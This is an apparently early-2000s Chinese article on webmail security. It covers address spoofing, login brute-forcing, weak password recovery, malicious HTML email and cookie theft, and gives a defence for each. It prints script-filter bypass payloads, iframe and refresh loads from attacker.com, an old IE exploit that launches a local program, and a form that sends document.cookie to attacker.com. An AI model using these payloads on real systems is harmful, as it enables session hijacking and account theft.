WebMail是指利用浏覽器通過web方式來收發電子郵件的服務或技術，不需借助郵件用戶端，可以說隻要能上網就能使用WebMail，極大地友善了使用者對郵件的收發。對于不能熟練使用郵件用戶端， 或者在網吧不便使用郵件用戶端的使用者來說，WebMail更是必不可少的選擇。Email能夠成為當今Internet上應用最廣泛的網絡服務，WebMail可謂功不可沒。
由于使用者的使用不當或者WebMail系統的開發不周，都有可能給WebMail的使用帶來更多的安全威脅。同樣，WebMail系統作為當今電子郵件系統的重要組成部份，它的安全性也是不可忽視的。
一、郵件位址欺騙
郵件位址欺騙是非常簡單和容易的，攻擊者針對使用者的電子郵件位址，取一個相似的電子郵件名，在WebMail的郵箱配置中将“發件人姓名”配置成與使用者一樣的發件人姓名（有些WebMail系統沒有提供此功能），然後冒充該使用者發送電子郵件，在他人收到郵件時，往往不會從郵件位址、郵件資訊頭等上面做仔細檢查，從發件人姓名、郵件内容等上面又看不出異樣，誤以為真，攻擊者進而達到欺騙的目的。例如某使用者的電子郵件名是wolfe，攻擊者就會取w0lfe、wo1fe、wolfee、woolfe之類相似的電子郵件名來進行欺騙。雖然免費的午餐越來越難吃，但還是有很多使用者使用的是免費電子郵箱，通過注冊申請，攻擊者很容易得到相似的電子郵件位址。
人們通常以為電子郵件的回複位址就是它的發件人位址，其實不然，在RFC 822中明确定義了發件人位址和回複位址可以不一樣，熟悉電子郵件用戶端使用的使用者也會明白這一點，在配置帳戶屬性或撰寫郵件時，可以指定與發件人位址不同的回複位址。由于使用者在收到某個郵件時，雖然會檢查發件人位址是否真實，但在回複時，并不會對回複位址做出仔細的檢查，是以，如果配合smtp欺騙使用，發件人位址是要攻擊的使用者的電子郵件位址，回複位址則是攻擊者自已的電子郵件位址，那麼這樣就會具有更大的欺騙性，誘騙他人将郵件發送到攻擊者的電子郵箱中。
所謂害人之心不可有，防人之心不可無，鑒于郵件位址欺騙的易于實作和危險性，我們不得不時時提防，以免上當受騙。對于WebMail系統而言，提供郵件資訊頭内容檢查、smtp認證（如果該郵件系統支援smtp的話）等服務技術，将郵件位址欺騙帶來的危害降至最小是非常有必要的。對郵件使用者而言，認真檢查郵件的發件人郵件位址、發件人IP位址、回複位址等郵件資訊頭内容是很重要的。
二、WebMail暴力破解
Internet上用戶端與服務端的互動，基本上都是通過在用戶端以送出表單的形式交由服務端程式（如CGI、ASP等）處理來實作的，WebMail的密碼驗證即如此，使用者在浏覽器的表單元素裡輸入帳戶名、密碼等資訊并送出以後，服務端對其進行驗證，如果正确的話，則歡迎使用者進入自己的WebMail頁面，否則，傳回一個出錯頁面給用戶端。
籍此，攻擊者借助一些黑客工具，不斷的用不同的密碼嘗試登入，通過比較傳回頁面的異同，進而判斷出郵箱密碼是否破解成功。幫助攻擊者完成此類暴力破解的工具有不少，如wwwhack、小榕的溯雪等，尤以溯雪的功能最為強大，它本身已經是一個功能完善的浏覽器，通過分析和提取頁面中的表單，給相應的表單元素挂上字典檔案，再根據表單送出後傳回的錯誤标志判斷破解是否成功。
當然我們也看到，溯雪之類的web探測器，可以探測到的不僅是WebMail的密碼，像論壇、聊天室之類所有通過表單進行驗證登入的帳戶密碼都是可以探測到的。
對于WebMail的暴力破解，許多WebMail系統都采取了相應的防範措施。如果某帳戶在較短的時間内有多次錯誤登入，即認為該帳戶受到了暴力破解，防範措施一般有如下三種：
1、禁用帳戶：把受到暴力破解的帳戶禁止一段時間登入，一般是5至10分鐘，但是，如果攻擊者總是嘗試暴力破解，則該帳戶就一直處于禁用狀态不能登入，導緻真正的使用者不能通路自己的郵箱，進而形成DOS攻擊。
2、禁止IP位址：把進行暴力破解的IP位址禁止一段時間不能使用WebMail。這雖然在一定程度上解決了“禁用帳戶”帶來的問題，但更大的問題是，這勢必導緻在網吧、公司、學校甚至一些城域網内共用同一IP位址通路internet的使用者不能使用該WebMail。如果攻擊者采用多個代理位址輪循攻擊，甚至采用分布式的破解攻擊，那麼“禁止IP位址”就難以防範了。
3、登入檢驗：這種防範措施一般與上面兩種防範措施結合起來使用，在禁止不能登入的同時，傳回給用戶端的頁面中包含一個随機産生的檢驗字元串，隻有使用者在相應的輸入框裡正确輸入了該字元串才能進行登入，這樣就能有效避免上面兩種防範措施帶來的負面影響。不過，攻擊者依然有可乘之機，通過開發出相應的工具提取傳回頁面中的檢驗字元串，再将此檢驗字元串做為表單元素值送出，那麼又可以形成有效的WebMail暴力破解了。如果檢驗字元串是包含在圖檔中，而圖檔的檔案名又随機産生，那麼攻擊者就很難開發出相應的工具進行暴力破解，在這一點上，yahoo電郵就是一個非常出色的例子。
雖然WebMail的暴力破解有諸多的防範措施，但它還是很難被完全避免，如果WebMail系統把一分鐘内五次錯誤的登入當成是暴力破解，那麼攻擊者就會在一分鐘内隻進行四次登入嘗試。是以，防範WebMail暴力破解還主要靠使用者自己采取良好的密碼政策，如密碼足夠複雜、不與其他密碼相同、密碼定期更改等，這樣，攻擊者很難暴力破解成功。
三、郵箱密碼恢複
難免會有使用者遺失郵箱密碼的情況，為了讓使用者能找回密碼繼續使用自己的郵箱，大多數WebMail系統都會向使用者提供郵箱密碼恢複機制，讓使用者回答一系列問題，如果答案都正确的話，就會讓使用者恢複自己郵箱的密碼。但是，如果密碼恢複機制不夠合理和安全，就會給攻擊者加以利用，輕松擷取他人郵箱密碼。 下面是許多WebMail系統密碼恢複機制所采取的密碼恢複步驟，隻有使用者對每步提出的問題回答正确的話才會進入下一步，否則傳回出錯頁面，針對每一步，攻擊者都有可乘之機：
第一步：輸入帳戶：在進入密碼恢複頁面後首先提示使用者輸入要恢複密碼的郵箱帳戶。這一步對攻擊者而言自然不成問題，郵箱帳戶就是他要攻擊的目标。
第二步：輸入生日：提示使用者按年月日輸入自己的生日。這一步對攻擊者而言也很輕松，年月日的排列組合很小，借助溯雪等工具很快就能窮舉破解出來，是以WebMail系統有必要在此采取暴力破解防範措施。并且每個使用者需要注意的是，攻擊者不一定來自地球的另一端，很可能就是你身邊的人，或許這些人更想知道你郵箱裡有什麼秘密，而他們要弄清你的生日往往是件輕而易舉的事情，你不是昨天才過了生日party嗎？你不是剛剛把身份證影印件交給人事部嗎？是以，為了郵箱安全，使用者是不是要把真實的生日做為郵箱注冊資訊，WebMail系統是不是一定要使用者輸入真實的生日做為注冊資訊，這還有待考慮。
第三步：問題回答：提示使用者回答自己設定的問題，答案也是使用者自己設定的答案。在這一步，攻擊者往往隻有靠猜測，不幸的是，很多使用者的問題和答案是如此的簡單，以緻于攻擊者能輕易的猜測出來，例如提出的問題隻是知識性的問題、提出的問題和答案相同等。攻擊者對使用者越熟悉，成功的可能性就越大，例如有使用者問“你男朋友是哪裡人”，殊不知，攻擊者正是她的男朋友。是以，使用者把問題設定成唯有自己知道的答案至關重要，這樣攻擊者才很難得逞，不過不要忘了答案，否則就得不償失了。
在使用者正确完成以上各步驟以後，WebMail系統就會讓使用者恢複自己郵箱帳戶的密碼。密碼恢複的方式又各有不同，一般有如下幾種方式，安全程度各有不同：
1、頁面傳回：傳回的頁面裡顯示使用者的郵箱密碼。這樣故然友善省事，但是如果讓攻擊者得到密碼，則能在絲毫不驚動使用者的情況下使用使用者的郵箱，使得攻擊者能長期監視使用者的郵箱使用情況，給使用者帶來更大的安全隐患。
2、郵件發送：将密碼發送到使用者注冊時登記的另一個郵箱裡。對于攻擊者來說，忙了半天，仍然是一無所獲，除非繼續去攻擊另一個郵箱；對于使用者來說，在另一個郵箱裡收到發來的密碼則是一個警告，說明有攻擊者猜測到了他的郵箱密碼提示問題，迫使使用者盡快改變自己的密碼提示問題。
不過，如果使用者注冊時登記的不是一個正确的郵箱，或者該郵箱已經失效，那麼，這樣不僅是攻擊者，就是使用者本人也永遠得不到密碼了。有些WebMail系統在注冊時要求使用者登記正确的郵件位址，并把郵箱開通的驗證資訊發往該郵件位址，不過這樣仍然不能避免使用者在郵箱失效後不能恢複自己郵箱密碼的情況發生。
3、密碼重設：讓使用者重新設定一個密碼。這種方式相比“頁面傳回”方式，在攻擊者重設密碼後，使用者因為不能正常登入進自己的郵箱而能察覺出受到攻擊，安全性相對好一些；但是相比“郵件發送”方式，因為攻擊者能立即修改郵箱密碼，少了一層保障，安全性又差一些。
由“頁面傳回”或“郵件發送”回來的密碼可以明顯看出，該電子郵件系統是把郵箱帳戶的密碼未經加密直接以明文儲存在資料庫或LDAP伺服器中。這樣就造成很大的安全隐患，WebMail系統管理者或侵入資料庫的攻擊者能輕易擷取使用者的郵箱密碼，使用者卻完全不知情，是以為了加大保密性，有必要将郵箱密碼加密後再以密文存入資料庫，最好用不可逆的單向加密算法，如md5等。
郵箱密碼恢複機制是否安全，主要還是看WebMail系統提出什麼樣的問題、采取什麼樣的問答方式，例如将多個密碼恢複步驟中提出的問題放在一步中一起提出，就會相應地增加攻擊者的難度進而提高安全性，像搜狐郵件、新浪郵件和yahoo電郵等都是一些令人失望的例子。
四、惡性HTML郵件
電子郵件有兩種格式：純文字（txt）和超文本（html）。Html郵件由html語言寫成，當通過支援html的郵件用戶端或以浏覽器登入進入WebMail檢視時，有字型、顔色、連結、圖像、聲音等等，給人以深刻的印象，許多垃圾廣告就是以html郵件格式發送的。
利用html郵件，攻擊者能進行電子郵件欺騙，甚至欺騙使用者更改自己的郵箱密碼。例如攻擊者通過分析WebMail密碼修改頁面的各表單元素，設計一個隐含有同樣表單的html頁面，預先給“新密碼”表單元素指派，然後以html郵件發送給使用者，欺騙使用者說在頁面中送出某個表單或點選某個連結就能打開一個精彩網頁，使用者照做後，在打開“精彩網頁”的同時，一個修改郵箱密碼的表單請求已經發向WebMail系統，而這一切，使用者完全不知情，直到下次不能登入進自己郵箱的時候。
為了防止此類的html郵件欺騙，在修改郵箱配置時，特别是修改郵箱密碼和提示問題時，WebMail系統有必要讓使用者輸入舊密碼加以确認，這樣也能有效防止載取到目前WebMail會話的攻擊者（下面會介紹）更改郵箱密碼。
通過在html郵件中嵌入惡性腳本程式，攻擊者還能進行很多破壞攻擊，如修改系統資料庫、非法操作檔案、格式化硬碟、耗盡系統資源、修改“開始”菜單等，甚至能删除和發送使用者的郵件、通路使用者的位址簿、修改郵箱帳戶密碼等等。惡性腳本程式一般由javascript或VBScript腳本語言寫成，内嵌在html語言中，通過調用ActiveX控件或者結合WSH來達到破壞攻擊目的。深受修改浏覽器的惡性html頁面之痛，飽經“歡樂時光”郵件病毒之苦的朋友，對此應該不會陌生。下面是兩個簡單的惡性腳本程式：
1、打開無數個浏覽器視窗，直至CPU超負荷，非關機不可：
＜script language="javascript"＞
＜!--
while (true)
{
window.open("URI")； //如果URI就是目前頁本身，那就更具破壞性。
}
//--＞
＜/script＞
2、修改系統資料庫：
＜script language="VBScript"＞
Set RegWsh = CreateObject("WScript.Shell")
\'設定IE浏覽器預設頁
RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.attacker.com"
＜/script＞
鑒于腳本程式可能帶來的危險，WebMail系統完全有必要禁止html郵件中的腳本程式。禁止腳本程式的基本做法就是過濾掉html源程式中能夠使腳本程式運作的代碼，如script元素等，在這方面做的最好的莫過于hotmail了。下面是些常見的繞過腳本程式過濾的方法，不少的WebMail系統仍然沒有完全改正：
(1) 在html語言裡，除了script元素内的或在script元素内引入的腳本程式能在html頁面裝載時被運作外，使用事件屬性也能調用腳本程式運作，事件屬性在javascript語言裡被稱為事件句柄，用于對頁面上的某個特定事件（如滑鼠點選、表單送出）做出響應，驅動javascript程式運作。它的文法如下：
＜tag attribute1 attribute2 onEventName="javascript code；"＞
例如：
＜body onload="alert(\'javascript#1 is executed\')；"＞
＜a href="#" onclick="alert(\'javascript#2 is executed\')；"＞Click here＜/a＞
＜form method="post" action="#" onsubmit="alert(\'javascript#3 is executed\')；"＞
＜input type="submit" value="Submit"＞
＜/form＞
＜/body＞
(2) URI（Universal Resource Identifier：通用資源辨別）用于定位Internet上每種可用的資源，如HTML文檔、圖像、聲音等。浏覽器根據URI的資源類型（URI scheme）調用相應的程式操作該資源，如果把一些元素的URI屬性值的資源類型設為javascript，則能夠調用javascript程式運作。文法如下，注意要用“；”分隔不同的javascript語句：
＜tag attribute="javascript:javascript-code；"＞
例如：
＜body background="javascript:alert(\'javascript#1 is executed\')；"＞
＜a href="javascript:alert(\'javascript#2 is executed\')；"＞Click here＜/a＞
＜form method="post" action="javascript:alert(\'javascript#3 is executed\')；"＞
＜input type="submit" value="Submit"＞
＜/form＞
＜img src="javascript:alert(\'javascript#4 is executed\')；"＞
＜/body＞
(3) 由于軟硬體或其他原因，一些冷僻或特殊的字元不能輸入或正确顯示在html頁面上，為了解決這個問題，html中可以使用SGML字元參考。字元參考是一種用來指定文檔字元集中任何字元的獨立編碼機制，以“&”開始，以“；”結束。字元參考有兩種表達方式：數字字元參考和實體字元參考。數字字元參考的文法為“&#D；”（D代表一個十進制數），或“&#xH；”、“&#XH；”（H代表一個十六進制數），例如“A；”、“A；”表示字母“A”，“水；”、“水；”表示漢字“水”。
攻擊者把html語句裡的一些字元以數字字元參考來代替，這樣能避開WebMail系統對腳本程式的過濾。需要注意的是，元素和屬性不可以用字元參考表示，例如：
＜body＞
＜img lowsrc="ja；vasC；ript:alert(\'javascript#1 is executed\')"＞
＜a href="j；avA；sC；ript:；aler；t(\'javascript#2
i；s executed\')"＞Click here；＜/a＞
＜form method="post" action="javascript:alert(\'javascript#3 is
executed\')"＞
＜input type="S；ubmit" value="Submit"＞
＜/form＞
＜/body＞
(4) 樣式表是層疊樣式表單（CSS：Cascading Style Sheet）的簡稱，用于控制、增強或統一網頁上的樣式（如字型、顔色等），它能夠将樣式資訊與網頁内容相分離，在html語言的style标簽内可以用@import聲明輸入一個樣式表。但是，如果輸入的資源類型或内容是javascript，Internet Explorer浏覽器仍然會執行。
例如： ＜style type="text/css"＞
＜!--
@import url(javascript:alert(\'javascript#1 is executed\'))；
@import url(http://www.attacker.com/js.css)；
--＞
＜/style＞
其中http://www.attacker.com/js.css的内容如下所示：
@import url(javascript:alert(\'javascript#2 is executed\'))；
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)))；
能夠繞過WebMail系統對腳本程式過濾的方法遠不止上面所說的這些，例如曾有人發現把“＜script＞”标簽改成“＜_a＜script＞”和“＜＜script＞”的樣子能繞過yahoo電郵的過濾，這個漏洞yahoo在最近才改正過來。
除了可以在html郵件中直接嵌入腳本程式外，攻擊者還可以設計一些html代碼，在使用者打開html郵件時，不知不覺引入另一個html檔案，而此檔案中正含有惡性代碼，這樣不僅能直接繞過WebMail系統對腳本程式的過濾，而且還能有效避開提供了防毒服務的郵件系統對惡性代碼的清除。下面是幾個調用html檔案的例子：
(1) Refresh到另一個頁面：
＜body＞
＜meta http-equiv="refresh" content="1；URL=http://www.attacker.com/another.htm"＞
＜/body＞
(2) Iframe引入另一個頁面：
＜body＞
＜iframe src="http://www.attacker.com/import.htm" frameborder="0"＞＜/iframe＞
＜/body＞
(3) scriptlet引入另一個頁面：
＜body＞
＜object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"＞＜/object＞
＜/body＞
攻擊者還可以采取如下方法，使帶有惡性代碼的html郵件具有更大的隐蔽性：
(1) 配合郵件欺騙技術，使使用者不會懷疑收到的郵件，并且攻擊者也能隐藏自己的行蹤。
(2) 把html郵件設計成看起來像txt郵件。
(3) 有時可以把html郵件中的惡性代碼放在一個隐藏的層裡面，表面上看不出任何變化。
針對惡性腳本程式的影響，對使用者常見的建議辦法是提高浏覽器的安全級别，如禁用ActiveX、禁用腳本等，但這并不是一個很好的辦法，因為這樣會影響到使用者對其他正常html頁面的浏覽。即使浏覽器達到了最進階别，依然對某些惡性代碼無濟于事，下面是位以色列安全專家發現的漏洞，能讓Windows系統自動執行任何本地程式，即使Internet Explorer已經禁止了ActiveX和腳本程式：
＜span datasrc="#oExec" datafld="exploit" dataformatas="html"＞＜/span＞
＜xml id="oExec"＞
＜security＞
＜exploit＞
＜![CDATA[
＜object id="oFile" classid="clsid:11111111-1111-1111-1111-
111111111111" codebase="c:/winnt/system32/calc.exe"＞＜/object＞
]]＞
＜/exploit＞
＜/security＞
＜/xml＞
面對惡性html郵件，WebMail系統和使用者似乎都沒有很好的解決辦法，雖然許多WebMail系統已經能夠過濾掉html郵件中的很多惡性代碼，不過令人遺憾的是，要想徹底過濾掉惡性代碼并不是一件容易的事情，攻擊者總能利用WebMail系統過濾機制和浏覽器的漏洞找到辦法繞過種種過濾，WebMail系統所能做的就是發現一個漏洞補一個漏洞。
為了減少乃至避免惡性html郵件的影響，在打開html郵件之前，WebMail系統有必要提醒使用者這是一個html郵件，如果能提供讓使用者以文本方式浏覽html郵件的功能，則是最好不過。在打開不明郵件之前，使用者更要小心謹慎，最好把html郵件“目标另存為”到本地硬碟上再打開來看，如果能先檢視html郵件源代碼，則是最好不過。
另外需要特别提醒使用者注意的是，雖然一些電子郵件系統會在WebMail系統上對html郵件中的惡性代碼進行過濾，但在pop3伺服器上并不會進行過濾，是以，如果是通過郵件用戶端收取郵件，仍然要謹防惡性html郵件的危害。
五、Cookie會話攻擊
當使用者以自已的郵箱帳戶和密碼登入進WebMail以後，如果再讓使用者對每一步操作都輸入密碼加以确認就會讓人不甚其煩。是以WebMail系統有必要進行使用者會話跟蹤，WebMail系統用到的會話跟蹤技術主要有兩種：cookie會話跟蹤和URL會話跟蹤。
Cookie是web伺服器儲存在使用者浏覽器上的文本資訊，可以包含使用者名、特殊ID、通路次數等任何資訊，通常此資訊用于辨別通路同一web伺服器上的不同使用者，在浏覽器每次通路同一web伺服器時會發送過去，用于跟蹤特定用戶端或浏覽器與web伺服器進行互動的狀态。
Cookie的類型有兩種：持久型和臨時型。持久型cookie以文本形式存儲在硬碟上，由浏覽器存取。使用了持久型cookie會話跟蹤的WebMail系統有hotmail、yahoo電郵（可選）等。臨時型cookie也稱為會話cookie，存儲在記憶體中，僅為目前浏覽器的對話存儲，關閉目前浏覽器後會立即消失，ASP、PHP4等開發程式中用到的session對象就會産生臨時型cookie。使用了臨時型cookie會話跟蹤的WebMail系統有FM365、億郵等。
如果攻擊者能夠擷取使用者WebMail的cookie資訊，那麼就能很容易地侵入使用者的WebMail。攻擊者如何擷取使用者WebMail的cookie資訊呢？如果攻擊者在使用者的電腦上安裝了木馬，或者能夠從網絡線路上對使用者進行嗅探偵聽，那麼擷取cookie資訊自然不成問題，不過這并不是我們讨論問題的意義所在，因為都能夠這樣了，又何必大費周折去擷取cookie資訊，直接擷取郵箱密碼就是了。
如果WebMail系統存在跨站腳本執行漏洞，那麼攻擊者就能欺騙使用者進而輕易地擷取cookie資訊，雖然衆多網站存在此漏洞，但存在此漏洞的WebMail系統還很少見。
含有惡性腳本程式的html郵件能使攻擊者擷取WebMail的cookie資訊。Html郵件中的腳本程式先提取目前WebMail的cookie資訊，然後把它指派給某個表單元素，再将表單自動送出給攻擊者，攻擊者進而獲得cookie會話資訊。下面是一段示範程式：
＜body＞
＜form method="post" action="http://attacker.com/getcookie.cgi" name="myform"＞
＜input name="session" type="hidden"＞
＜/form＞
＜script language="javascript"＞
var cookie=(documents.cookie)；
alert(cookie)；//這一句用于顯示目前cookie資訊，當然，攻擊者不會這樣做。
document.myform.session.value=cookie；
document.myform.submit()；
＜/script＞
getcookie.cgi是放在攻擊者web伺服器上的一個cgi程式，用于擷取表單送出過來的cookie資訊，并且做記錄或者通知攻擊者。當然，攻擊者會把html郵件、getcookie.cgi程式設計得更隐蔽，更具欺騙性，讓使用者難以察覺。
通常，浏覽器根據web伺服器的域名來分别儲存cookie資訊，并且隻會把cookie資訊發送給同一域名的web伺服器。不過，浏覽器的漏洞給攻擊者擷取不同域名的cookie資訊創造了機會，Internet Explorer、Netscape和Mozilla等被廣泛使用的浏覽器都存在過此類漏洞。下面是幾個Internet Explorer浏覽器（針對IE5.0、IE5.5或IE6.0）洩漏cookie資訊的例子：
(1) Html語言中的object元素用于在目前頁面内嵌入外部對象，但Internet Explorer浏覽器對object元素屬性的處理不當會導緻任意域的cookie資訊被洩漏，示範代碼如下：
＜object id="data" data="empty.html" type="text/html"＞＜/object＞
＜script＞
var ref=document.getElementById("data").object；
ref.location.href="http://www.anydomain.com"；
setTimeout("alert(ref.cookie)",5000)；
＜/script＞
(2) Internet Explorer浏覽器錯誤處理“about”協定使得一個精心構造的URL請求可能會顯示或修改任意域的cookie資訊，例如（以下代碼在同一行）：
about://www.anydomain.com/＜script language=javascript＞alert(documents.cookie)；＜/script＞
(3) Internet Explorer浏覽器會誤把URL中“%20”（空格符的URL編碼）字元串之前的主機名當做cookie資訊所在的域，并且發送出去。假設攻擊者有一個域名“attacker.com”，攻擊者把它做成泛域名解析，即把“*.attacker.com”指向攻擊者web伺服器所在的IP位址，“attacker.com”下的任何子域名或主機名都會被解析成這個IP位址，當使用者送出了類似下面這樣的URL後，浏覽器就會把“anydomain.com”域名的cookie資訊發送給攻擊者：
http://anydomain.com%20.attacker.com/getcookie.cgi
如果攻擊者要擷取WebMail的臨時型cookie資訊，就會在html郵件中寫入相應的代碼，在使用者浏覽郵件時，該代碼自動執行，使得攻擊者能夠擷取目前浏覽器裡的臨時cookie資訊，也可以把用于擷取cookie資訊的URL發送給使用者，誘騙使用者打開該URL，這樣攻擊者也能擷取臨時cookie資訊。
在攻擊者擷取cookie資訊後，如果cookie資訊裡含有密碼等敏感資訊，那麼攻擊者就能很輕易地侵入使用者的郵箱，雖然hotmail等WebMail系統曾經發生過此類的情況，但cookie資訊洩漏敏感資訊的WebMail系統還很少見。
攻擊者在擷取cookie資訊之後，還要讓此cookie資訊由浏覽器來存取進而與WebMail系統建立會話，這樣才能侵入使用者的WebMail。如果是持久型cookie資訊，攻擊者所要做的是把這個資訊複制到自己的cookie檔案中去，由浏覽器存取該cookie資訊進而與WebMail系統建立會話，不過臨時cookie資訊存儲在記憶體中，并不容易讓浏覽器存取。
為了讓浏覽器存取臨時cookie資訊，攻擊者可以編輯記憶體中的cookie資訊，或者修改公開源代碼的浏覽器，讓浏覽器能夠編輯cookie資訊，不過這樣都不是很簡便的方法，簡便的方法是使用Achilles程式（packetstormsecurity.org網站有下載下傳）。Achilles是一個http代理伺服器，能夠載取浏覽器和web伺服器間的http會話資訊，并且在代理轉發資料之前可以編輯http會話以及臨時cookie資訊。
WebMail系統應該避免使用持久型cookie會話跟蹤，使攻擊者在cookie會話攻擊上不能輕易得逞。為了防止cookie會話攻擊，使用者可以采取如下措施以加強安全：
(1) 設定浏覽器的cookie安全級别，阻止所有cookie或者隻接受某幾個域的cookie。
(2) 使用cookie管理工具，增強系統cookie安全，如Cookie Pal、Burnt Cookies等。
(3) 及時給浏覽器打更新檔，防止cookie資訊洩漏。
